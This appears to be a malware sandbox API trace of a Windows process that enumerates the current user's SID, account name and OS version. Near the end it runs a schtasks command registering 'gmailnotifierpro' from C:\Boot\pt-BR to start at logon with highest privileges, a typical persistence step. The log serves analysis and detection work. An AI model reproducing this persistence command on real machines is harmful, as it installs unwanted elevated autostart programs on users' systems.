GetSidSubAuthority (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0968 [0108.337] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0108.337] malloc (_Size=0x18) returned 0x196ef0d19e0 [0108.337] malloc (_Size=0x18) returned 0x196ef0d1e20 [0108.337] SysStringLen (param_1="S-1-5") returned 0x5 [0108.337] SysStringLen (param_1="-") returned 0x1 [0108.337] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7aa958, _Size=0xc | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0108.337] memcpy (in: _Dst=0x196ee7c7682, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7c7682) returned 0x196ee7c7682 [0108.338] free (_Block=0x196ef0d1c40) [0108.338] free (_Block=0x196ef0d19e0) [0108.338] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0108.338] malloc (_Size=0x18) returned 0x196ef0d1be0 [0108.338] SysStringLen (param_1="S-1-5-") returned 0x6 [0108.338] SysStringLen (param_1="21") returned 0x2 [0108.338] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7c7678, _Size=0xe | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0108.338] memcpy (in: _Dst=0x196ee7aa9c4, _Src=0x196ee7aa958, _Size=0x6 | out: _Dst=0x196ee7aa9c4) returned 0x196ee7aa9c4 [0108.338] free (_Block=0x196ef0d1e20) [0108.338] free (_Block=0x196ef0d1fc0) [0108.338] GetSidSubAuthority (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d096c [0108.338] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0108.338] malloc (_Size=0x18) returned 0x196ef0d1e00 [0108.338] malloc (_Size=0x18) returned 0x196ef0d2080 [0108.338] SysStringLen (param_1="S-1-5-21") returned 0x8 [0108.338] SysStringLen (param_1="-") returned 0x1 [0108.339] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7aa9b8, _Size=0x12 | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0108.339] memcpy (in: _Dst=0x196ee7aa968, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7aa968) returned 0x196ee7aa968 [0108.339] free (_Block=0x196ef0d1be0) [0108.339] free (_Block=0x196ef0d1e00) [0108.339] malloc (_Size=0x18) returned 0x196ef0d1be0 [0108.339] malloc (_Size=0x18) returned 0x196ef0d20a0 [0108.339] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0108.339] SysStringLen (param_1="1560258661") returned 0xa [0108.339] memcpy (in: _Dst=0x196ee7777a8, _Src=0x196ee7aa958, _Size=0x14 | out: _Dst=0x196ee7777a8) returned 0x196ee7777a8 [0108.339] memcpy (in: _Dst=0x196ee7777ba, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7777ba) returned 0x196ee7777ba [0108.339] free (_Block=0x196ef0d2080) [0108.339] free (_Block=0x196ef0d1be0) [0108.339] GetSidSubAuthority (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0970 [0108.339] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0108.339] malloc (_Size=0x18) returned 0x196ef0d1e60 [0108.339] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0108.339] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0108.340] SysStringLen (param_1="-") returned 0x1 [0108.340] memcpy (in: _Dst=0x196ee7772f8, _Src=0x196ee7777a8, _Size=0x28 | out: _Dst=0x196ee7772f8) returned 0x196ee7772f8 [0108.340] memcpy (in: _Dst=0x196ee77731e, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee77731e) returned 0x196ee77731e [0108.340] free (_Block=0x196ef0d20a0) [0108.340] free (_Block=0x196ef0d1e60) [0108.340] malloc (_Size=0x18) returned 0x196ef0d1f00 [0108.374] malloc (_Size=0x18) returned 0x196ef0d1c40 [0108.374] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0108.374] SysStringLen (param_1="3990802383") returned 0xa [0108.374] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7772f8, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0108.374] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aa958, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0108.374] free (_Block=0x196ef0d1fa0) [0108.374] free (_Block=0x196ef0d1f00) [0108.374] GetSidSubAuthority (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0974 [0108.374] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0108.374] malloc (_Size=0x18) returned 0x196ef0d19e0 [0108.374] malloc (_Size=0x18) returned 0x196ef0d1d00 [0108.374] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0108.374] SysStringLen (param_1="-") returned 0x1 [0108.375] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0108.375] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0108.375] free (_Block=0x196ef0d1c40) [0108.375] free (_Block=0x196ef0d19e0) [0108.375] malloc (_Size=0x18) returned 0x196ef0d1a40 [0108.375] malloc (_Size=0x18) returned 0x196ef0d1e80 [0108.375] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0108.375] SysStringLen (param_1="1811730007") returned 0xa [0108.375] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0108.375] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aa958, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0108.375] free (_Block=0x196ef0d1d00) [0108.375] free (_Block=0x196ef0d1a40) [0108.375] GetSidSubAuthority (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0978 [0108.375] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0108.375] malloc (_Size=0x18) returned 0x196ef0d20c0 [0108.375] malloc (_Size=0x18) returned 0x196ef0d19c0 [0108.376] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0108.376] SysStringLen (param_1="-") returned 0x1 [0108.376] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0108.376] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0108.376] free (_Block=0x196ef0d1e80) [0108.376] free (_Block=0x196ef0d20c0) [0108.376] malloc (_Size=0x18) returned 0x196ef0d1e60 [0108.376] malloc (_Size=0x18) returned 0x196ef0d1b40 [0108.376] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0108.376] SysStringLen (param_1="1000") returned 0x4 [0108.376] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0108.376] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aa958, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0108.376] free (_Block=0x196ef0d19c0) [0108.376] free (_Block=0x196ef0d1e60) [0108.376] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0108.376] malloc (_Size=0x5e) returned 0x196ef0d0370 [0108.377] free (_Block=0x196ef0d1b40) [0108.377] malloc (_Size=0x18) returned 0x196ef0d20e0 [0108.379] free (_Block=0x196ef0d0370) [0108.379] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0108.380] GetLastError () returned 0x7a [0108.380] malloc (_Size=0x1a) returned 0x196ef0f9bb0 [0108.380] malloc (_Size=0xe) returned 0x196ef0d1c40 [0108.380] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9bb0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1c40, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0108.381] malloc (_Size=0x18) returned 0x196ef0d1b00 [0108.381] malloc (_Size=0x18) returned 0x196ef0d2020 [0108.381] free (_Block=0x196ef0f9bb0) [0108.381] free (_Block=0x196ef0d1c40) [0108.382] free (_Block=0x196ef0f9fa0) [0108.382] free (_Block=0x196ef0d2020) [0108.382] free (_Block=0x196ef0d1b00) [0108.382] free (_Block=0x196ef0d20e0) [0108.382] free (_Block=0x196ef0d0950) [0108.383] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0108.383] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0108.383] GetLastError () returned 0x7a [0108.383] malloc (_Size=0x2c) returned 0x196ef0d0d10 [0108.383] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0d10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0d10, ReturnLength=0x67117c740) returned 1 [0108.383] IsValidSid (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.383] GetLengthSid (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0108.383] malloc (_Size=0x1c) returned 0x196ef0f9d30 [0108.383] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9d30, pSourceSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9d30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.383] GetSidIdentifierAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0d22 [0108.383] malloc (_Size=0x18) returned 0x196ef0d1a60 [0108.383] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0108.383] malloc (_Size=0x18) returned 0x196ef0d1be0 [0108.383] malloc (_Size=0x18) returned 0x196ef0d1de0 [0108.383] SysStringLen (param_1="S-1-") returned 0x4 [0108.383] SysStringLen (param_1="5") returned 0x1 [0108.383] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aa958, _Size=0xa | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0108.384] memcpy (in: _Dst=0x196ee7aa9c0, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7aa9c0) returned 0x196ee7aa9c0 [0108.384] free (_Block=0x196ef0d1a60) [0108.384] free (_Block=0x196ef0d1be0) [0108.384] GetSidSubAuthorityCount (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0d21 [0108.384] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0d28 [0108.384] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0108.384] malloc (_Size=0x18) returned 0x196ef0d1e00 [0108.384] malloc (_Size=0x18) returned 0x196ef0d1f20 [0108.384] SysStringLen (param_1="S-1-5") returned 0x5 [0108.384] SysStringLen (param_1="-") returned 0x1 [0108.384] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7aa9b8, _Size=0xc | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0108.384] memcpy (in: _Dst=0x196ee7c7682, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7c7682) returned 0x196ee7c7682 [0108.384] free (_Block=0x196ef0d1de0) [0108.384] free (_Block=0x196ef0d1e00) [0108.384] malloc (_Size=0x18) returned 0x196ef0d1f80 [0108.384] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0108.384] SysStringLen (param_1="S-1-5-") returned 0x6 [0108.385] SysStringLen (param_1="21") returned 0x2 [0108.385] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7c7678, _Size=0xe | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0108.385] memcpy (in: _Dst=0x196ee7aa964, _Src=0x196ee7aa9b8, _Size=0x6 | out: _Dst=0x196ee7aa964) returned 0x196ee7aa964 [0108.385] free (_Block=0x196ef0d1f20) [0108.385] free (_Block=0x196ef0d1f80) [0108.385] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0d2c [0108.385] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0108.385] malloc (_Size=0x18) returned 0x196ef0d1e20 [0108.385] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0108.385] SysStringLen (param_1="S-1-5-21") returned 0x8 [0108.385] SysStringLen (param_1="-") returned 0x1 [0108.385] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aa958, _Size=0x12 | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0108.385] memcpy (in: _Dst=0x196ee7aa9c8, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7aa9c8) returned 0x196ee7aa9c8 [0108.385] free (_Block=0x196ef0d1aa0) [0108.385] free (_Block=0x196ef0d1e20) [0108.385] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0108.386] malloc (_Size=0x18) returned 0x196ef0d1f40 [0108.386] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0108.386] SysStringLen (param_1="1560258661") returned 0xa [0108.386] memcpy (in: _Dst=0x196ee7777a8, _Src=0x196ee7aa9b8, _Size=0x14 | out: _Dst=0x196ee7777a8) returned 0x196ee7777a8 [0108.386] memcpy (in: _Dst=0x196ee7777ba, _Src=0x196ee7aa958, _Size=0x16 | out: _Dst=0x196ee7777ba) returned 0x196ee7777ba [0108.386] free (_Block=0x196ef0d1fa0) [0108.386] free (_Block=0x196ef0d1ba0) [0108.386] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0d30 [0108.386] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0108.386] malloc (_Size=0x18) returned 0x196ef0d1d20 [0108.386] malloc (_Size=0x18) returned 0x196ef0d1a20 [0108.386] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0108.386] SysStringLen (param_1="-") returned 0x1 [0108.386] memcpy (in: _Dst=0x196ee7772f8, _Src=0x196ee7777a8, _Size=0x28 | out: _Dst=0x196ee7772f8) returned 0x196ee7772f8 [0108.386] memcpy (in: _Dst=0x196ee77731e, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee77731e) returned 0x196ee77731e [0108.386] free (_Block=0x196ef0d1f40) [0108.387] free (_Block=0x196ef0d1d20) [0108.387] malloc (_Size=0x18) returned 0x196ef0d1f40 [0108.387] malloc (_Size=0x18) returned 0x196ef0d1d40 [0108.387] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0108.387] SysStringLen (param_1="3990802383") returned 0xa [0108.419] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7772f8, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0108.419] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0108.419] free (_Block=0x196ef0d1a20) [0108.420] free (_Block=0x196ef0d1f40) [0108.420] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0d34 [0108.420] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0108.420] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0108.420] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0108.420] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0108.420] SysStringLen (param_1="-") returned 0x1 [0108.420] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0108.420] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0108.420] free (_Block=0x196ef0d1d40) [0108.420] free (_Block=0x196ef0d1fa0) [0108.420] malloc (_Size=0x18) returned 0x196ef0d20e0 [0108.420] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0108.420] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0108.420] SysStringLen (param_1="1811730007") returned 0xa [0108.420] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0108.420] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0108.420] free (_Block=0x196ef0d1ee0) [0108.421] free (_Block=0x196ef0d20e0) [0108.421] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0d38 [0108.421] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0108.421] malloc (_Size=0x18) returned 0x196ef0d2080 [0108.421] malloc (_Size=0x18) returned 0x196ef0d1b00 [0108.421] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0108.421] SysStringLen (param_1="-") returned 0x1 [0108.421] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0108.421] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0108.421] free (_Block=0x196ef0d1fc0) [0108.421] free (_Block=0x196ef0d2080) [0108.421] malloc (_Size=0x18) returned 0x196ef0d2080 [0108.421] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0108.421] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0108.421] SysStringLen (param_1="1000") returned 0x4 [0108.421] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0108.421] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0108.421] free (_Block=0x196ef0d1b00) [0108.421] free (_Block=0x196ef0d2080) [0108.421] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0108.422] malloc (_Size=0x5e) returned 0x196ef0d0610 [0108.422] free (_Block=0x196ef0d1ba0) [0108.422] malloc (_Size=0x18) returned 0x196ef0d1960 [0108.422] free (_Block=0x196ef0d0610) [0108.422] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0108.423] GetLastError () returned 0x7a [0108.423] malloc (_Size=0x1a) returned 0x196ef0fa060 [0108.423] malloc (_Size=0xe) returned 0x196ef0d1cc0 [0108.423] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa060, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1cc0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0108.425] malloc (_Size=0x18) returned 0x196ef0d1be0 [0108.425] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0108.425] free (_Block=0x196ef0fa060) [0108.425] free (_Block=0x196ef0d1cc0) [0108.425] free (_Block=0x196ef0f9d30) [0108.425] free (_Block=0x196ef0d1ea0) [0108.425] free (_Block=0x196ef0d1be0) [0108.425] free (_Block=0x196ef0d1960) [0108.425] free (_Block=0x196ef0d0d10) [0108.426] SetEvent (hEvent=0x248) returned 1 [0108.427] free (_Block=0x196ef0d5c80) [0108.427] CreateEnvironmentBlock () returned 0x1 [0108.432] malloc (_Size=0x18) returned 0x196ef0d2080 [0108.432] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"gmailnotifierpro\" /sc ONLOGON /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"gmailnotifierpro\" /sc ONLOGON /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x11f8, dwThreadId=0x1204)) returned 1 [0108.471] CloseHandle (hObject=0x260) returned 1 [0108.471] CloseHandle (hObject=0x264) returned 1 [0108.472] free (_Block=0x196ef0d2080) [0108.472] DestroyEnvironmentBlock () returned 0x1 [0108.472] malloc (_Size=0x48) returned 0x196ef0d5820 [0108.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x21825e60, dwHighDateTime=0x1d9eb0c)) [0108.472] SetEvent (hEvent=0x248) returned 1 [0108.473] CloseHandle (hObject=0x26c) returned 1 [0108.473] CloseHandle (hObject=0x270) returned 1 [0108.480] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0108.480] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0108.480] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0108.480] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0109.497] RtlRestoreLastWin32Error () returned 0x670dbf000 [0109.497] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, 